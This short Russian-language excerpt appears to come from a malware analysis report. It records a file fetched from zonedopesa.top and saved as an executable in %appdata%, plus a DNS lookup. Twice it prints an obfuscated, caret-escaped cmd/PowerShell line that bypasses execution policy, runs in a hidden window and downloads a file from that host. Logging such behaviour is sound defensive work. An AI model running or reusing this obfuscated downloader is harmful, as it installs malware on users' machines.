Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "poW^eR^ShELl.ex^e -^e^Xecu^tiOnpo^L^IcY^ ^bYpas^S -NO^p^RofiLe -w^InDO^ws^tyl^E ^hI^DDE^N ^(N^E^w-O^Bje^c^t sy^stE^M.nET.^weB^Cl^i^E^N^t).DO^Wn^l^OADF^ILE(^'http://www.zonedope...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "poW^eR^ShELl.ex^e -^e^Xecu^tiOnpo^L^IcY^ ^bYpas^S -NO^p^RofiLe -w^InDO^ws^tyl^E ^hI^DDE^N ^(N^E^w-O^Bje^c^t sy^stE^M.nET.^weB^Cl^i^E^N^t).DO^Wn^l^OADF^ILE(^'http://www.zonedope...' (со скрытым окном)